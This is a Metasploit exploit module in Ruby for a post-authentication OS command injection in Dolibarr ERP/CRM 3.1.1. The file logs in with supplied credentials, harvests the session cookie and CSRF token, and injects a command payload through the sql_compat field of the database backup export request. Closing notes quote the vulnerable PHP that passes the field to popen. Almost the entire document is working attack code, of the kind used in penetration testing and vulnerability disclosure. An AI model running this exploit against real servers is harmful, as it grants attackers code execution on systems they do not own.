##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Dolibarr ERP/CRM Post-Auth OS Command Injection",
      'Description'    => %q{
          This module exploits a vulnerability found in Dolibarr ERP/CRM 3's
        backup feature.  This software is used to manage a company's business
        information such as contacts, invoices, orders, stocks, agenda, etc.
        When processing a database backup request, the export.php function
        does not check the input given to the sql_compat parameter, which allows
        a remote authenticated attacker to inject system commands into it,
        and then gain arbitrary code execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Nahuel Grisolia <nahuel[at]cintainfinita.com.ar>',  #Discovery, PoC
          'sinn3r'  #Metasploit
        ],
      'References'     =>
        [
          ['OSVDB', '80980'],
          ['URL', 'https://seclists.org/fulldisclosure/2012/Apr/78']
        ],
      'Arch'            => ARCH_CMD,
      'Compat'          =>
        {
          'PayloadType' => 'cmd'
        },
      'Platform'       => %w{ linux unix },
      'Targets'        =>
        [
          # Older versions are probably also vulnerable according to
          # Nahuel's report on full disclosure
          ['Dolibarr 3.1.1 on Linux', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Apr 6 2012",
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('USERNAME',  [true, 'Dolibarr Username', 'admin']),
          OptString.new('PASSWORD',  [true, 'Dolibarr Password', 'test']),
          OptString.new('TARGETURI', [true, 'The URI path to dolibarr', '/dolibarr/'])
        ])
  end

  def check
    uri = normalize_uri(target_uri.path)
    uri << '/' if uri[-1,1] != '/'
    res = send_request_raw({
      'method' => 'GET',
      'uri'    => uri
    })

    if res and res.body =~ /Dolibarr 3\.1\.1/
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end

  def get_sid_token
    res = send_request_raw({
      'method' => 'GET',
      'uri'    => @uri.path
    })

    return [nil, nil] if res.nil? || res.get_cookies.empty?

    # Get the session ID from the cookie
    m = res.get_cookies.match(/(DOLSESSID_.+);/)
    id = (m.nil?) ? nil : m[1]

    # Get the token from the decompressed HTTP body response
    m = res.body.match(/type="hidden" name="token" value="(.+)"/)
    token = (m.nil?) ? nil : m[1]

    return id, token
  end

  def login(sid, token)
    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => "#{@uri.path}index.php",
      'cookie'   => sid,
      'vars_post' => {
        'token'         => token,
        'loginfunction' => 'loginfunction',
        'tz'            => '-6',
        'dst'           => '1',
        'screenwidth'   => '1093',
        'screenheight'  => '842',
        'username'      => datastore['USERNAME'],
        'password'      => datastore['PASSWORD']
      }
    })

    location = res.headers['Location']
    return (location =~ /admin\//)
  end

  def exploit
    @uri = target_uri
    @uri.path << "/" if @uri.path[-1, 1] != "/"
    peer = "#{rhost}:#{rport}"

    print_status("Getting the sid and token...")
    sid, token = get_sid_token
    if sid.nil?
      print_error("Unable to retrieve a session ID")
      return
    elsif token.nil?
      print_error("Unable to retrieve a token")
      return
    end

    user = datastore['USERNAME']
    pass = datastore['PASSWORD']
    print_status("Attempt to login with \"#{user}:#{pass}\"")
    success = login(sid, token)
    if not success
      print_error("Unable to login")
      return
    end

    print_status("Sending malicious request...")
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(@uri.path, "admin/tools/export.php"),
      'cookie'    => sid,
      'vars_post' => {
        'token'             => token,
        'export_type'       => 'server',
        'what'              => 'mysql',
        'mysqldump'         => '/usr/bin/mysqldump',
        'use_transaction'   => 'yes',
        'disable_fk'        => 'yes',
        'sql_compat'        => ";#{payload.encoded};",
        'sql_structure'     => 'structure',
        'drop'              => '1',
        'sql_data'          => 'data',
        'showcolumns'       => 'yes',
        'extended_ins'      => 'yes',
        'delayed'           => 'yes',
        'sql_ignore'        => 'yes',
        'hexforbinary'      => 'yes',
        'filename_template' => 'mysqldump_dolibarrdebian_3.1.1_201203231716.sql',
        'compression'       => 'none'
      }
    })

  end
end

=begin
Notes:

114    if ($_POST["sql_compat"] && $_POST["sql_compat"] != 'NONE') $param.=" --compatible=".$_POST["sql_compat"];
...
137    $paramcrypted=$param;
...
159    $fullcommandcrypted=$command." ".$paramcrypted." 2>&1";
...
165    if ($handle)
166    {
....
169    $handlein = popen($fullcommandclear, 'r');
....
185    }
=end
